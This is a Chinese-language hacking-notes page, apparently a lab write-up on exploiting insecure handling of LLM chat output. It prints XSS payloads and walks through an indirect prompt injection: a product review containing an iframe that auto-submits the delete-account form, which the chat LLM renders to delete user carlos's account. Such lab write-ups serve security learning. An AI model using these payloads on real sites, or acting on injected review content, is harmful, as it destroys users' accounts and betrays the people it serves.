> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/llm-web-attacks/exploiting-unsafe-llm-output-handling.md).

# 利用不安全的 LLM 输出处理

### 利用 LLM 中不安全的输出处理

#### 背景

该实验以不安全的方式显示 LLM 的输出，允许一个 **XSS**。用户 **carlos** 经常使用在线聊天来请求产品信息 **轻便的“l33t”皮夹克**.

#### 目标

执行间接 \*\* 注入（间接快速注入）以执行一个 **XSS** 其中 **删除 carlos 账户**.

<figure><img src="/files/85a8ea3af5d810287f5cbd8552b18c1d3cd3cc58" alt=""><figcaption></figcaption></figure>

### 1）设置

* 创建一个用户账户。
* 可访问 **在线聊天** 与 LLM 配合。

<figure><img src="/files/e7faad9122606b1acf3cb908f6f41846bdfe6a10" alt=""><figcaption></figcaption></figure>

### 2）XSS 验证

#### Cat 测试（存在漏洞）

测试载荷（弹出警报）：

```html
<img src=0 onerror=alert(0)>
```

<figure><img src="/files/aea78f601da0071eea86be1e94c27c09e1caba48" alt=""><figcaption></figcaption></figure>

#### 在评论中测试（并非直接存在漏洞）

* 评论似乎不会以相同方式执行 HTML/JS。

<figure><img src="/files/970bfc85d2888f188cd42d3ec408ab3cce355a96" alt=""><figcaption></figcaption></figure>

因此我们通过一个 **LLM 查阅的来源** （恢复的内容并显示在聊天中）。

<figure><img src="/files/81d275866192a37e1f0afb52ab20f81d4c4c667e" alt=""><figcaption></figcaption></figure>

### 3）入口点：通过 LLM 查阅的评论内容

例如，要求 LLM 显示产品评论：

```bash
查看 ZZZZZZ 床的评论：你的新家庭办公室。
```

观察到的响应（示例）：

```bash
4. **用户** - 2026年1月25日
   - *评论：* *(评论包含图片)*
```

思路是向通知中注入 HTML，这样随后它就会 **在实时聊天中被替换** （其中显示存在漏洞）。

<figure><img src="/files/b9ab07e92218756fce12b0317da91c6c11d63fa2" alt=""><figcaption></figcaption></figure>

### (4) 目标操作：通过表单删除账户

要从“我的账户”删除账户，触发：

```bash
document.forms[1].submit()
```

对应表单：

{% code overflow="wrap" %}

```html
<form id="delete-account-form" action="/my-account/delete" method="POST">
```

{% endcode %}

<figure><img src="/files/80f925aaef77d37a0d9f329c0a0c69f459324366" alt=""><figcaption></figcaption></figure>

### 5）利用：通过 Iframe 的 XSS（自动提交）

#### 载荷（自动提交删除表单）

{% code overflow="wrap" %}

```javascript
<iframe
src="my-account" onload="this.contentDocument.forms[1].submit()">
```

{% endcode %}

* 单独的测试未能按预期通过，因此将其嵌入到一个句子中（可被解析的变体）：

经验证的变体示例：

{% code overflow="wrap" %}

```javascript
开箱体验老实说是一个亮点："<iframe src=my-account onload=this.contentDocument.forms[1].submit()>"，我还告诉我妻子：好吧，这真的挺厉害。
```

{% endcode %}

结果：浏览器将 iframe → 加载 `my-account` → 执行 `forms[1].submit()` → **账户已删除** （在其自己的账户上测试）。

<figure><img src="/files/ed5c1f9614ce534de798da3c9632fb5d44673712" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cb8d683240113e1e45e8da534df86a4c39405d31" alt=""><figcaption></figcaption></figure>

### 6）放置在目标产品上的最终载荷（夹克）

一条评论发布在 **轻便的“l33t”皮夹克** 其中包含该框架（所用示例）：

{% code overflow="wrap" %}

```bash
当我收到这件产品时，还附送了一件 T 恤，上面印着“<iframe src =my-account onload = this.contentDocument.forms[1].submit() >”。我非常高兴！这太酷了，我告诉了我妻子。
```

{% endcode %}

<figure><img src="/files/f157e7746f70148b65ad835e7edb03674a6ed316" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/llm-web-attacks/exploiting-unsafe-llm-output-handling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
